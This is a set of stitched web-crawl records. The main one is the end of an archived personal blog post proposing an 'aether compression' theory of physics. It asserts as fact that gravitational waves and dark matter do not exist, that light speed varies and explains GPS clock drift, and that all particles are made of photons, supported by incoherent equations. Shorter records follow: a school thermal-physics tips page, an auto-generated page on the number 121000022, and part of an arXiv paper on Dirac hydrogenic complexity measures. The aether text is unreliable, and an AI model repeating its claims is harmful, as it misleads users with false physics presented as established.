spin.\n• The wave associated with a photon is the wave created by the compression of aether. It is a doppler affect.\n• The mass associated with the photon is from the spin of the photon.\n• Stipulate that a photon spins at a rate of the energy of rest mass of the photon (proof below)\n• Stipulate that the energy of a photon at rest is equal to the energy of the mass of the photon.\n• Stipulate that a reference frame without gravity has only one photon in the universe\n• Gravity is the equal opposite reaction to the aether compression. It is spread evenly over the surface of the photon and reduces by the inverse square of the distance from the photon.\n\nEnergy of spin (E)=Rest Mass(1/C * distance^2)^2\n\nIf the energy of the photon = 1 and the mass of the photon = 1 and the distance is the radius of a photon(1):\nE=1(1/C * 1^2)=1\nSolving for C=1 (the speed of the spin of the photon, which is the energy of the mass) M=E the same conclusion of special relativity, but you can solve for C Gravity=1 The force of gravity is equal over the surface of the proton, highest at it’s surface and decreasing inversely by the square of the distance\n\nThis updated special relativity follows all of Newton’s laws, including the laws of motion and the law of gravity without using GR.\n\nWhat is space?\n\nI propose that space is an aether that is all around us which behaves similarly , but instead of spacetime, there is aether (or just space if you prefer). I’ll explain how the aether creates time, and why time is literally different everywhere, and no two clocks run exactly the same.\n\nThe properties of aether\n\n1. Aether is a non-material motionless substrate that creates and underpins the space around us.\n2. Aether is compressed by mass and energy.\n3. Aether compression (and the speed of light) is a function of mass and energy.: E=M(1/C * distance^2)^2\n4. When aether compresses. The measure of compression is called aether compression level. It is a measure of the refraction of aether.\n5. The compression is proportional to the total energy of the object.\n6. The aether compression level decreases from the center of the object by the inverse square law.\n7. The compression caused by two bodies is additive, the aether compresses further and energy is used for the compression.\n8. Aether may not be created, nor destroyed.\n9. As the compression level increases, the energy needed to compress it further increases.\n10. All space contains aether, even the vacuum between galaxies.\n11. A volume of space contains at a minimum an amount of energy proportional to the amount of compression in the aether underpinning that space.\n12. Aether is motionless (it is stationary, it does not rotate, and is not dragged by matter, and compression does not imply movement)\n13. All matter down to the smallest subatomic particles compress aether proportional to their energy. There is aether underpinning even the space inside an atom.\n14. Aether compression can be visualized like a bowling ball on memory foam, the ball compresses the foam, but it springs back when the ball is removed.\n15. Another analogy is dissolved corn starch, which becomes more firm as you add energy, but the aether can not be modelled as a liquid.\n16. The speed of light is inversely proportional to the aether density.\n17. Mass is caused by space becoming so full of aether compression that it turns solid. the subatomic particles compress a lot of aether. So there is no need for higgs boson for mass.\n\nParticles\n\n• The only fundamental particle is the photon.\n• electrons are are made of photons. The photons orbit around each other clockwise.\n• protons are made of photons. The photons orbit each other counter-clockwise and there are more photons than in an electron.\n• A neutron is an electron orbiting a proton, the charges cancel but the energy remains. The extra mass of the neutron is accounted for by aether compression and thus spin rate of the particles. In the neutron the proton and electron are both tidal locked, eliminating the charge. The energy of the electron+neutron increases aether compression, which accounts for the mass increase in the neutron over the sum of the mass of the proton and electron.\n• Mass originates from spin, not the Higgs (see proof below)\n• Planck length is the diameter of a photon.\n\nWhy is there a speed of light?\n\nEverybody knows that there is a speed of light. It is, obviously, the speed at which light travels (in a vacuum), and (not so obviously) the maximum speed that anything can go. As a photon travels through aether, aether is compressed in front of the photon and expands behind it, forming what we observe as the waves associated with light. Creating the wave requires energy, but there is no net energy loss because aether compresses in front and expands behind. The compression level of the aether the photon is travelling through determines the amount of energy needed. Energy is always used to compress space further. Thus the speed of the photon is dependent on the aether compression level, it travels only so fast as the energy it has after the aether has borrowed energy for compression. The speed of light is not a constant. The speed of light is metered by the aether compression level, and light always travels the same speed in a volume of space underpinned by aether of a given compression level. Thus the speed of light appears relatively constant.\n\nWhy can’t you travel faster than the speed of light? Well, because aether can’t be compressed any faster than light can compresses it. As you speed up and approach the speed of light, you have to dedicate more and more energy to the compression of aether until it can’t be compressed any more quickly, no matter how much energy you add. You can only go as fast as the aether compression level allows you to go. Because of the concept of aether compression level, light travelling between galaxies goes very much faster than light in the solar system.\n\nWhy does light curve?",
null,
"In general relativity space is curved by energy, and the curvature bends light. I propose that their is no gravitational field, and that gravity does not affect light. Instead the aether compression is used to explain why light curves. The aether the light is moving in is always a certain compression level. Aether compression is essentially a refraction index. Refraction is the change in direction of a wave due to a change in the transmission medium. Light moving from an area of lower to higher aether compression, or vice versa, is experiencing a change in the transmission medium. This results in refraction. This refraction explains gravitational lensing, though in truth gravity has nothing to do with it. A black hole or other massive object bends light around it due to compressing the aether around it, not by gravity bending the light. Since all matter is made of particles that are waves, matter is affected by the same phenomena, which leads to orbits.\n\nFor light, the wavelength is determined by aether compression and the frequency by the frequency of the emission of photons. This is why aether compression refracts light by changing the wavelength but not the frequency.\n\nWithout a field, what is gravity, what causes orbits?\n\nAll bodies when occupying space compress the aether inside that space. Bodies compress aether proportional to their total energy. The aether compression level extends outward from the object and decreases inversely proportional to the square of the distance from the center of the object. The more massive (and therefore more energetic) the object, the more aether is compressed, which in turn leads to stronger “gravitation” associated with the object. I say “gravitation” because when two objects are near each other, the compression of the aether is additive, which uses energy. In many cases this will cause deflection of an object, and other times, there will not be enough energy remaining for the lesser energetic body to escape but enough remains so that it can rotate the more energetic body (through refraction), always trying to pull away but never having enough energy to do so. In other cases there is not enough energy and the less energetic body falls in to the more massive one. Since two pieces of matter can’t occupy the same space, the lesser energetic object lands on the more energetic object.\n\nLight “orbits” even without gravity:\nIt can be shown that light moves in a circle without gravity if you imagine a universe containing only one particle of light. Since there is only one particle, it can be assigned arbitrary energy and mass, as long as energy = mass.\n\nD=(M/E)^.5\nC=(1/D) * distance^2\n\nIf the energy of the photon = 1 and the mass of the photon = 1\nD=(1/1)^.5 = 1\nC=(1/1) * distance^2 = 1 * 1; (solving for distance yields one, the radius of the circle)\n\nC=1 the energy of the photon and the photon always moves at the energy of the photon\nD=1 so the particle undergoes “constant refraction” which creates a orbit around nothing\n\nWhat is time?\n\nTime as a physical construct does not exist. Time is merely observational, that is, it is simply the construct that a mind uses to understand how entropy unfolds. The maximum speed at which entropy can take place (ie, the speed of entropy) is governed by the compression of the aether in which that entropy takes place. This is because entropy may not proceed faster than the speed of light, and the speed of light is governed by the aether compression level. Time can only be quantified by observing changes, and that observation can’t happen faster than the speed of light. Entropy does not proceed in a backwards direction due to the laws of thermodynamics, which naturally leads to the direction of the arrow of time. The best way to measure “time” is through radioactive decay, which is affected by the speed of entropy.\n\nPredictions\n\nWhat happens inside a black hole?\n\nAs the speed of light varies based on the aether compression, as compression increases, time slows because entropy slows. Near the center of a black hole, the compression level grows exponentially. It becomes so high that anything falling toward the core slows down perpetually as more and more energy is sucked away to attempt to compress the aether in front of it. Eventually entropy (which is governed by the speed of light) becomes so slow that time effectively stops with respect to clocks outside the horizon. It is a kind of zenu’s paradox – the closer you get the higher the compression, you grow progressively slower and you’ll never reach the center.\n\nIs there dark matter?\n\nThe truth is, there actually is no dark matter. The need for it arises out of the galaxy rotation paradox, which is the observation that the outside of a spiral galaxy appears to move too fast to be held together by the ovservable mass within it. Since the galaxies should apparently fly apart without extra mass, most scientists conclude that there must be some invisible matter holding things together, thus dark matter was hypothesized. There is no need for dark matter if the galaxy rotation can be explained in another way.\n\nI propose that the reason for which we observe faster than expected rotation on the outside of a spiral galaxy, and slower than expected rotation on the inside, is because the aether compression level on the outside is much lower than the aether compression level on the inside. The speed of light is variable based upon the aether compression level of the aether it is travelling in, so time essentially runs faster on the outside of the galaxy than in the inside, leading to the apparent paradox. The motion of the matter appears to violate classical physics without adding mass, but in reality does not.\n\nWhy does QM observe spontaneous particle creation/annihilation?\n\nA vacuum is full of aether, not really empty, and the aether itself has a given aether compression level, and thus a given energy level. Occasionally, spontaneously, the energy arranges itself in a way to create a short lived pair of particles.\n\nIf there is no dark matter, what about dark energy?\n\nI propose that the universe is likely thinning out at the edges. As the edge thins out the aether becomes less dense. Since the speed of light increases as aether compression level decreases, it appears that the edge is moving away and accelerating, but instead the speed of light is increasing and the universe does not need to be expanding. Since time slows down as compression is added it appears to be expanding faster than can be explained, dark energy was invented to power the non-existent expansion. The perceived acceleration of the expansion of the universe is just that, perceived and not true. It is the same paradox that led to the idea of dark matter.\n\nGravity waves\n\nGravity waves do not exist. Interactions between differently compressed aether are additive. Two black holes rotating lose energy through increasing aether compression, not through gravity waves.\n\nFrame-dragging\n\nThe faster a body rotates the more energy it has. Aether is compressed relative to the total mass-equivalent energy of the rotating body. This means it will increase aether compression, affecting the orbit of the of nearby bodies.\n\nWhy is time travel impossible\n\nSince time itself doesn’t exist, it is impossible to travel in time. Often time travel is proposed by using exotic energy to ‘bend space’ . This is impossible. As energy is added to a volume of aether, it compresses and time slows down. Aether doesn’t bend, it just compresses with response to energy. You would effectively encase yourself in a volume of aether where time has effectively stopped. To put the final nail in the coffin, time can only be measured through entropy. Entropy does not reverse. You can not travel back in time because you would have to unwind entropy to get there.\n\nGravitational time dilation\n\nSince gravity isn’t a true force, but a reaction to the compression of aether, gravitational time dilation is a misnomer, like gravitational lensing. As the distance increases from an energetic body, the aether compression level decreases by the inverse square law. This results in an increase in the speed of time, as the speed of light increases as the distance increases. This is demonstrated in GPS satellites today, where clocks run faster than their counterparts on earth, not due to gravity, but because the speed of light is faster there because the aether is less compressed.\n\nPretty good evidence that speed of light is variable:\n\n• http://www.newscientist.com/article/dn6092-speed-of-light-may-have-changed-recently.html\n• http://phys.org/news/2013-03-ephemeral-vacuum-particles-speed-of-light-fluctuations.html\n• http://www.livescience.com/29111-speed-of-light-not-constant.html\n\nAether compression and motion\n\nAn object is always in motion relative to every other object An object is never at absolute rest, a person on earth is moving around the sun, which is moving around the galaxy, which is moving around the universe.\n\nNetwton said objects travel in a straight line unless acted on by an outside force. There are no true straight lines. An object never travels in a straight line because energy is transferred to aether by aether compression. The compression borrows energy, decompression returns it, the compression level causes refraction.\n\nA lone particle in the universe moves in a circle without gravity:\n\nIf there is one photon in entire universe then we can assign energy of photon as 1, and mass of photon is as 1 (wave/particle duality means both are true at once)\n\nD=(M/E)^.5\nC=(1/D) * distance^2\n\nD=(1/1)^.5\nC = (1/D) * distance^2\n\nD=1, the compression level is constant, hence constant refraction.\nC=1,The energy of the photon, so light always moves at light speed.\nsolving for distance yields 1 (the radius of the circle)\n\nIf you add an observer to the universe (a second photon) the speed of light changes and the photons orbit each other in ellipses. This explains why adding an observer (like a sensor) changes the outcome of the dual slit experiment. Observing the photon changes it.\n\nHow matter is created (what is mass?)\n\nMass is a measure of the energy stored in the aether around a particle\nAs aether compression increases the more and more energy is used to compress the aether further. The energy stored in the aether is the quantity of energy we associate with mass.\n\nTotal energy of the particle is the energy of motion plus the energy stored around the particle. All particles are particles and waves. Mass is considered “mass energy” and used labeled as M in the following pages.\n\nWhat is energy:\nEnergy (E) is a measure of kinetic energy. This is the energy of motion which allows particles to move. A particle always has at least it’s mass in energy, any extra energy beyond that is used for motion. It is impossible for aether compression to borrow energy from mass energy.\n\nFormula: D=(MassEnergy/KinecticEnergy)^.5, C=(1/D) * distance^2\n\nWhen an object is “at rest” MassEnergy=KinecticEnergy, when KinecticEnergy is added, the object can move.\n\nThere are probably only three fundamental particles:\nThere are electron, protons and photons:\nA neutron has a little more mass than a photon + election, because electrons rotate protons to form neutrons. The extra mass is aether compression increase through additive aether compression.\n\nProtons and electrons are the only particles which forms matter. In a neutron the charges cancel but the energy remains. Photons are a particle too.\n\nIn a particle accelerator, the energy released by the collision causes aether to compress. The increases in compression increases apparent mass and new matter falls out. Energy appears to be mass, but there is only energy. When two objects collide, additive aether compression accounts for the angle of deflection .\n\nThe laws of thermodynamics describe how energy spreads over space over time. The speed of entropy is controlled by the aether compression level. Entropy can never stop, thus things are always in motion. Entropy can’t stop, everything is always in motion.\n\nARTICLE SOURCE: https://web.archive.org/web/20180823135202/http://differentphysics.com/category/uncategorized/"
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https://www.physics.com.sg/O07ThermalProperties.htm | [
"",
null,
"(New tips are continually added to these pages. Check back in a few months' time for more)\n\nTOPIC 7: Thermal Properties\n\nTip 1:\n\nSpecific Heat Capacity\n\nLet's look at Q = mcDq = CDq.\n\nQ is the amount of thermal energy (measured in joules) required to raise the temperature of a substance of mass m and specific heat capacity c by q degree Celsius or kelvins.\n\nThe capital C, equal to mc, is the heat capacity of the entire substance of mass m, which is the amount of thermal energy required to raise the temperature of the entire substance by 1 degree Celsius or kelvin.\n\nAn object that has a lower heat capacity C will be more easily heated up turning red hot compared to another object with a higher heat capacity, when given the same amount of heat.\n\nSimilarly, a student with lower 'homework capacity' C will be more easily heated up with face turning red hot compared to another student with a higher 'homework capacity', when given the same amount of homework.\n\nTip 2:\n\nSpecific Latent Heat of Fusion/Vaporisation\n\nAs regards latent heat of fusion/ vaporisation formula (Q = ml = L), Q is the amount of thermal energy needed to melt/ boil off completely a mass m of a substance (eg. water). So if a substance has a higher latent heat of fusion/ vaporisation, then it will take much more thermal energy (Q) to melt/ boil it, compared to another substance with a lower latent heat of fusion/ vaporisation. (Note that while melting/ boiling, the temperature of the substance remains constant, until it is completely melted/ boiled off).",
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https://numberworld.info/121000022 | [
"# Number 121000022\n\n### Properties of number 121000022\n\nCross Sum:\nFactorization:\n2 * 11 * 13 * 43 * 9839\nDivisors:\nCount of divisors:\nSum of divisors:\nPrime number?\nNo\nFibonacci number?\nNo\nBell Number?\nNo\nCatalan Number?\nNo\nBase 2 (Binary):\nBase 3 (Ternary):\nBase 4 (Quaternary):\nBase 5 (Quintal):\nBase 8 (Octal):\nBase 32:\n3jck2m\nsin(121000022)\n-0.66379712452987\ncos(121000022)\n-0.7479126803751\ntan(121000022)\n0.88753291921319\nln(121000022)\n18.611301285379\nlg(121000022)\n8.0827854492791\nsqrt(121000022)\n11000.001\nSquare(121000022)\n\n### Number Look Up\n\nLook Up\n\n121000022 which is pronounced (one hundred twenty-one million twenty-two) is a very special number. The cross sum of 121000022 is 8. If you factorisate the figure 121000022 you will get these result 2 * 11 * 13 * 43 * 9839. The number 121000022 has 32 divisors ( 1, 2, 11, 13, 22, 26, 43, 86, 143, 286, 473, 559, 946, 1118, 6149, 9839, 12298, 19678, 108229, 127907, 216458, 255814, 423077, 846154, 1406977, 2813954, 4653847, 5500001, 9307694, 11000002, 60500011, 121000022 ) whith a sum of 218211840. The number 121000022 is not a prime number. 121000022 is not a fibonacci number. The number 121000022 is not a Bell Number. The figure 121000022 is not a Catalan Number. The convertion of 121000022 to base 2 (Binary) is 111001101100101000001010110. The convertion of 121000022 to base 3 (Ternary) is 22102200102211022. The convertion of 121000022 to base 4 (Quaternary) is 13031211001112. The convertion of 121000022 to base 5 (Quintal) is 221434000042. The convertion of 121000022 to base 8 (Octal) is 715450126. The convertion of 121000022 to base 16 (Hexadecimal) is 7365056. The convertion of 121000022 to base 32 is 3jck2m. The sine of 121000022 is -0.66379712452987. The cosine of the figure 121000022 is -0.7479126803751. The tangent of the number 121000022 is 0.88753291921319. The square root of 121000022 is 11000.001.\nIf you square 121000022 you will get the following result 14641005324000484. The natural logarithm of 121000022 is 18.611301285379 and the decimal logarithm is 8.0827854492791. that 121000022 is unique number!"
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https://www.arxiv-vanity.com/papers/1408.7056/ | [
"# Quantifying Dirac hydrogenic effects via complexity measures\n\nP.A. Bouvrie, S. López-Rosa, J.S. Dehesa Departamento de Física Atómica, Molecular y Nuclear, Universidad de Granada, 18071-Granada, Spain\nAugust 18, 2020\n###### Abstract\n\nThe primary dynamical Dirac relativistic effects can only be seen in hydrogenic systems without the complications introduced by electron-electron interactions in many-electron systems. They are known to be the contraction-towards-the-origin of the electronic charge in hydrogenic systems and the nodal disapearance (because of the raising of all the non-relativistic minima) in the electron density of the excited states of these systems. In addition we point out the (largely ignored) gradient reduction of the charge density near and far the nucleus. In this work we quantify these effects by means of single (Fisher information) and composite (Fisher-Shannon complexity and plane, LMC complexity) information-theoretic measures. While the Fisher information measures the gradient content of the density, the (dimensionless) composite information-theoretic quantities grasp two-fold facets of the electronic distribution: The Fisher-Shannon complexity measures the combined balance of the gradient content and the total extent of the electronic charge, and the LMC complexity quantifies the disequilibrium jointly with the spreading of the density in the configuration space. Opposite to other complexity notions (e.g., computational and algorithmic complexities), these two quantities describe intrinsic properties of the system because they do not depend on the context but they are functionals of the electron density. Moreover, they are closely related to the intuitive notion of complexity because they are minimum for the two extreme (or least complex) distributions of perfect order and maximum disorder.\n\nHydrogenic systems, Dirac equation, Shannon entropy, Fisher information, Fisher-Shannon complexity, LMC complexity\n###### pacs:\n31.30.jx, 32.10.-f, 03.65.Pm, 89.70.Cf\n\n## I Introduction\n\nA major goal of the information theory of the atomic and molecular systems is the quantification of the multiple facets of its internal disorder which is manifest in the electron density of the system, as recently reviewed sen_11 ; esquivel_11 ; esquivel_11b . First, various single (one-component) information-theoretic measures were used to grasp single facets of the rich variety of complex three-dimensional geometries of the system in a non-relativistic framework, such as the spread of the electronic distribution all over the configuration space (Shannon, Rényi and Tsallis entropies), the gradient content (Fisher information) and other manifestations of the non-uniformity of the electron density (disequilibrium). Later, composite (two-component) measures have been proposed to jointly grasp various facets of the electron density. They are called complexity measures because they are minumum for the two extreme distributions of perfect order and maximum disorder (so, approaching the intuitive notion of complexity), such as the Crámer-Rao, Fisher-Shannon and LMC (López-Ruiz, Mancini and Calbet) complexity measures. Opposite to the single-component measures, they are dimensionless (what lets them be mutually compared) and moreover they fulfil a number of invariance properties under replication, translation and rescaling transformations. In addition, contrary to other notions of complexity previously encountered and used in the scientific literature kolmogorov:pit65 ; chaitin:jcam66 ; solomonoff_09 ; arora_09 , such as the computational and logarithmic complexities which depend on the context, these three complexity measures are intrinsic properties of the system since they are described by density-dependent functionals. Let us also point out that these complexity measures have been bounded from below lopezrosa:pa09 ; stam:ic59 and from above guerrero:pra11 . For further properties of these statistical complexities see the recent monograph of K.D. Sen sen_11 .\n\nMost of these single and composite information-theoretic quantities have been numerically determined in position space for a great deal of atomic and molecular systems in a Hartree-Fock-like framework (see sen_11 ; esquivel_11 ; esquivel_11b and references therein). On the contrary, the information theory of relativistic quantum systems is a widely open field katriel:jcam10 ; rqi11 ; peres:rmp04 ; indeed, only a few recent works have been done for single-particle systems manzano:njp10 ; manzano:epl10 ; katriel:jcam10 and neutral atoms borgoo:cpl07 ; sanudo:pla09 ; maldonado:pl10 ; sanudo:irephy09 in various relativistic settings. Let us here mention that the comparison of some Hartree-Fock and Dirac-Fock ground-state results in neutral atoms shows that Shannon entropy is able to characterize the atomic shell structure but it hardly grasps any relativistic effects borgoo:cpl07 , while the disequilibrium and the LMC complexity measure borgoo:cpl07 , as well as the Fisher information borgoo_11 , strongly exhibits them. Moreover, it has been recently shown that these quantities are good relativistic indicators for ground-state hydrogenic systems in a Dirac setting katriel:jcam10 and for ground- and excited states of pionic systems in a Klein-Gordon setting manzano:njp10 ; manzano:epl10 .\n\nIn this work we use the Fisher information and the Fisher-Shannon and LMC complexity measures to characterize and quantify some fundamental features grant_07 ; burke:pps67 of the stationary solutions of the Dirac equation of hydrogenic systems; namely, the well established charge contraction towards the nucleus in both ground and excited states, the raising of all the non-relativistic minima and the (largely ignored) gradient reduction near and far the nucleus of the electron density of any excited state of the system.\n\nThe structure of the paper is the following. First, in Section II, we briefly discuss the two information-theoretic quantities needed for this work, and we give the known relativistic (Dirac) and non-relativistic (Schrödinger) electron densities of a hydrogenic system, which are factorizable in both frameworks. Second, in Section III, we carry out a detailed study of the dependence of the previous complexity measures on the nuclear charge in the ground state, as well as the quantification of the main dynamical relativistic effects (charge contraction towards the nucleus, minima raising or nodal disappearance, and gradient reduction near and far the nucleus) by means of the Dirac-Schrödinger complexity ratios of LMC and Fisher-Shannon types. Third, in Section IV, we analyse the dependence of the complexity measures on the energy and the relativistic quantum number as well as the associated information planes for the ground and various excited states. Finally, some conclusions are given.\n\n## Ii Complexity measures and Dirac hydrogenic densities: Basics\n\nIn this Section we briefly discuss the concepts of LMC shape complexity lopezruiz:pla95 ; anteneodo:pla96 and Fisher-Shannon complexity angulo:pla08 ; romera:jcp04 of a general probability density used in this paper, which turn to be good indicators of the Dirac relativistic effects in hydrogenic systems. Then, we collect here the known Dirac wave funtions of the hydrogenic bound states, and their associated probability densities together with its non-relativistic limit (Schrödinger densities).\n\nThe LMC shape complexity lopezruiz:pla95 ; anteneodo:pla96 is defined by the product of the so-called disequilibrium (which quantifies the departure of the probability density from uniformity) and the exponential of the Shannon entropy (a general measure of the uncertainty of the density):\n\n CLMC[ρ]=D[ρ]×eS[ρ], (1)\n\nwhere\n\n D[ρ]=∫[ρ(r)]2dr;S[ρ]=−∫ρ(r)lnρ(r)dr. (2)\n\nThe Fisher-Shannon complexity angulo:pla08 ; romera:jcp04 is given by\n\n CFS[ρ]=I[ρ]×J[ρ], (3)\n\nwhere\n\n I[ρ]=∫|¯∇ρ(r)|2ρ(r)dr;J[ρ]=12πee23S[ρ] (4)\n\nare the (translationally invariant) Fisher information frieden_04 and the Shannon entropic power cover_91 of the probability density, respectively. The latter quantity, which is an exponential function of the Shannon entropy, measures the total extent to which the single-particle distribution is in fact concentrated cover_91 . The Fisher information, , which is closely related to the kinetic energy hamilton:jcam10 , is a local information-theoretic quantity; i.e., it is very sensitive to strong changes on the distribution over a small-sized region of its domain.\n\nOn the other hand, the Dirac wavefunctions of the stationary states of a hydrogenic system with nuclear charge are described by the eigensolutions of the Dirac equation of an electron moving in the Coulomb potential , namely\n\n (E+iℏcα⋅∇−βm0c2−V(r))ψD=0, (5)\n\nwhere and denote the Dirac matrices and denotes the rest mass of electron.\n\nThe stationary eigensolutions are most naturally obtained by working in spherical polar coordinates and taking into account that the Dirac hamiltonian conmute with the operators , where the total angular momentum operator and the Dirac operator , being and the orbital and spin angular momenta, respectively. So, the stationary states are to be characterized by the quantum numbers , where , the Dirac or relativistic quantum number and with\n\n E=M⎛⎜ ⎜ ⎜ ⎜ ⎜⎝1+(αZ)2(n−|k|+√k2−(αZ)2)2⎞⎟ ⎟ ⎟ ⎟ ⎟⎠−1/2, (6)\n\nwhere denotes the fine structure constant, and . For the Klein paradox klein:zp29 comes into play and the eigenenergies become complex beyond that point; the resolution of this paradox is known to be related with the creation of electron-positron pairs from de Dirac-Fermi sea calogeracos:cp99 . Note that, because of the smallness of the binding energies, is only slightly less than . The corresponding eigensolutions of the bound relativistic hydrogenic states are given by the four-component spinors\n\n ψDnkmj(r)=(gnk(r)Ωkmj(θ,ϕ)ifnk(r)Ω−kmj(θ,ϕ)), (7)\n\nwhere the symbol denotes the (two-component) spin-orbital harmonics\n\n Ωkmj=⎛⎜ ⎜ ⎜ ⎜⎝−k|k|√k+12−mj2k+1Y|k+12|−12,mj−12(θ,ϕ)√k+12+mj2k+1Y|k+12|−12,mj+12(θ,ϕ)⎞⎟ ⎟ ⎟ ⎟⎠, (8)\n\nand the so-called large () and small () radial components with the normalization , are known to be\n\n gnk(r)fnk(r)} =±(2λ)3/2Γ(2γ+1) ⎷(M±E)Γ(2γ+n′+1)4M(n′+γ)ME((n′+γ)ME−k)n′!(2λr)γ−1e−λr ×[((n′+γ)ME−k)F(−n′,2γ+1;2λr)s∓n′F(1−n′,2γ+1;2λr)] (9)\n\nwhere , , , and denotes the Kummer confluent hypergeometric function. Notice that the lower components of the Dirac wavefunction have an opposite parity than the upper ones. Moreover, the binding energy depends on the principal quantum number and on the absolute value of the Dirac quantum number , but not on its sign. This means that states with the same angular momentum quantum number which belongs to different pairs of orbital quantum numbers (, ) are degenerated in energy. In addition we should point out that we will often identify with although the Dirac relativistic states are no longer eigenfunctions of the orbital angular momentum because the Dirac hamiltonian does not conmute with ; so, the orbital quantum number is not a good quantum number. Indeed, each relativistic state contains two values: and . However, since the component with the radial function is large as compared to its partner , the value pertaining to the large component may be used to denote the state. Then, although we use the non-relativistic notation we should keep in mind that it stands for\n\nThen, the Dirac probability density of the hydrogenic state can be written down in the following separable form:\n\nwhere the radial and angular parts are given by\n\nand\n\n ρangular(θ) =⟨l,mj−12;12,+12|j,mj⟩2|Yl,mj−12|2 +⟨l,mj+12;12,−12|j,mj⟩2|Yl,mj+12|2, (12)\n\nrespectively.\n\nFinally, it is well known that in the non-relativistic limit of the hydrogenic system the large component tends to the corresponding radial function of the Schrödinger equation while the small component tends to cero. So, the Schrödinger probability density which describes the state of the system is\n\nwhere\n\ngives the radial part of the wavefunction, and is the same angular part as in Dirac case given by Eq. (II). The corresponding energy of the non-relativistic system is known to be .\n\n## Iii Complexity quantification of Dirac effects\n\nIn this section we quantify the two main dynamical Dirac relativistic effects (charge contraction towards the origin and raising of all non-relativistic minima), as well as the gradient reduction near and far the origin, in hydrogenic systems by means of the LMC and Fisher-Shannon complexity measures. This is done by studying the comparison between the Schrödinger and Dirac values of the LMC and Fisher-Shannon complexities of ground and excited states of hydrogenic systems. Specifically we show the dependence of these quantities, as well as the Fisher-Shannon information plane, on the nuclear charge and the principal quantum number . For simplicity and convenience we will use atomic units hereafter.\n\n### iii.1 Dependence on the nuclear charge\n\nFirst, let us present and discuss the dependence on the nuclear charge of the LMC (see Fig. 1-left) and Fisher-Shannon (see Fig. 1-right) complexity measures in the ground state of the hydrogenic system in the Schrödinger and Dirac settings described in the previous section. We find that for both complexity measures (i) the Schrödinger values remain constant for all Z’s (as recently proved in an analytical way lopezrosa:pa09 ; dehesa:epjd09 ), and (ii) the Dirac values enhance when the nuclear charge is increasing, in accordance with the corresponding Klein-Gordon results found in pionic systems manzano:epl10 .",
null,
"Figure 1: (Color online) Dependence of the ground-state hydrogenic LMC (left) and Fisher-Shannon (right) complexity measures on the nuclear charge Z\n\nThis enhancement is provoked by the contraction of the electron density towards the origin, a phenomenon similar to that observed for Klein-Gordon single-particle systems manzano:njp10 ; manzano:epl10 . To quantify it we have defined the relative ratios and . They are shown in the inner windows of Figs. 1-left-and-right in terms of . We observe that both complexity ratios behave similarly in the ground state. This is not, however, the case for other states as it is illustrated in Fig. 2-left for the LMC measure in three circular states with , and in Fig. 2-right for the Fisher-Shannon complexity in the ground state and two excited states. Therein we observe that while the LMC ratio is always positive and has an increasing behavior as a function of Z, this is not always the case for the Fisher-Shannon ratio. Indeed, notice that the latter ratio can reach negative values for the excited states, indicating that the Dirac value of the Fisher-Shannon complexity is lower than the Schrödinger one.",
null,
"Figure 2: (Color online) LMC relative ratio, ζLMC, for circular states with n≤3 (left) and Fisher-Shannon relative ratio, ζFS, for the ground state and the excited states (n,l,j,mj)=(2,0,12,12) and (3,1,12,12) (right).\n\nThe positivity of the LMC ratio can be understood because it measures the charge contraction towards the nucleus by means of two global concentration information-theoretic quantities, the disequilibrium and the Shannon entropy. We observe that although these two factors work in the same sense, the contribution of the disequilibrium turns out to be much greater than that of the Shannon entropy. The negative behavior of the Fisher-Shannon ratio is more difficult to explain, because it quantifies the combined balance of the spreading (via the Shannon entropy) and the gradient content (via the Fisher information) of the charge distribution of the hydrogenic system. To understand this phenomenon we analyze the behavior of the two components of the Fisher-Shannon complexity (3). Keeping in mind that the Shannon entropy is not very sensitive to the relativistic effects, the former analysis boils down to a careful determination of the Fisher information which can be written down as\n\nwhere denotes the Fisher information of the radial probability function ( or in the Dirac and Schrödinger case, respectively), and the Fisher quantity associated to the angular probability function, . Let us point out that the Fisher information presents a singularity at , as pointed out by Katriel & Sen katriel:jcam10 , what explains why we do not go to the extreme relativistic limit. Since the angular density is the same function in both relativistic and non-relativistic descriptions and is slightly higher in the relativistic case, the main reason for the negativity of the Fisher-Shannon complexity ratio arises from the difference between the Dirac and Schrödinger radial probability densities. This is clearly shown in Fig. 3, where we have plotted the Dirac and Schrödinger radial densities, , and the corresponding Fisher kernel, , for the excited states and of the hydrogenic atom with nuclear charge in the left and right sides, respectively.",
null,
"Figure 3: (Color online) Radial density, Di(r), and radial Fisher information kernel, Iikernel(r), in the Dirac (i=D) and Schrödinger (i=S) settings for the hydrogenic states n=5,l=2,j=12 (left) and n=6,l=1,j=12 (right) with nuclear charge Z=50. Atomic units have been used.\n\nTherein we notice that while the Schrödinger radial density, , vanishes at various points (nodes), the Dirac radial density, , only vanishes at the origin and the infinity. This means that the Dirac density have finite values also at the radial positions of the non-relativistic nodes (this is the relativistic minima-raising effect). Hence, the Fisher information kernel is zero at these points because although the radial density does not vanish, its derivative does (see Fig. 3); and this is the reason for the high negative values of detected in Fig. 2.\n\nThis relativistic effect of nodal disapearance (or existence of non-nodal minima) in the Dirac density, firstly pointed out by Burke and Grant grant_07 ; burke:pps67 , is indeed due to the different behavior of the two components and of the Dirac wave function. Both functions vanish at different values of as we can observe in Fig. 4, where the contribution of and to the total probability density for the state of the system with has been plotted for illustrative purposes. As we can see in Fig. 4, the largest contribution to the total probability density is indeed due to the component of the Dirac spinor (7). The contribution of the -component, although very small, is sufficiently significant as to make the Dirac density not to vanish for all radial values except for and .",
null,
"Figure 4: (Color online) Contribution of the g(r) and f(r) to the total probability density for the hydrogenic state n=5,l=2,j=2.5 with nuclear charge Z=90. Atomic units have been used.\n\nFor illustrative purposes we show in Fig. 5 the Dirac and Schrödinger radial distributions and the Fisher information kernels of the ground state and the circular state with of the hydrogenic system with . Therein it is observed that (i) in the two states the Dirac (solid red) radial density is always above the Schrödinger (dashed blue) curve when is less than the radial expectation value (centroid), and below otherwise, and (ii) the behavior of the Fisher kernel in the excited state is different from that of the ground state: the Dirac values are smaller than the Schrödinger ones not only when is bigger than the radial expectation value, but also in the neighbourhood of the nucleus.",
null,
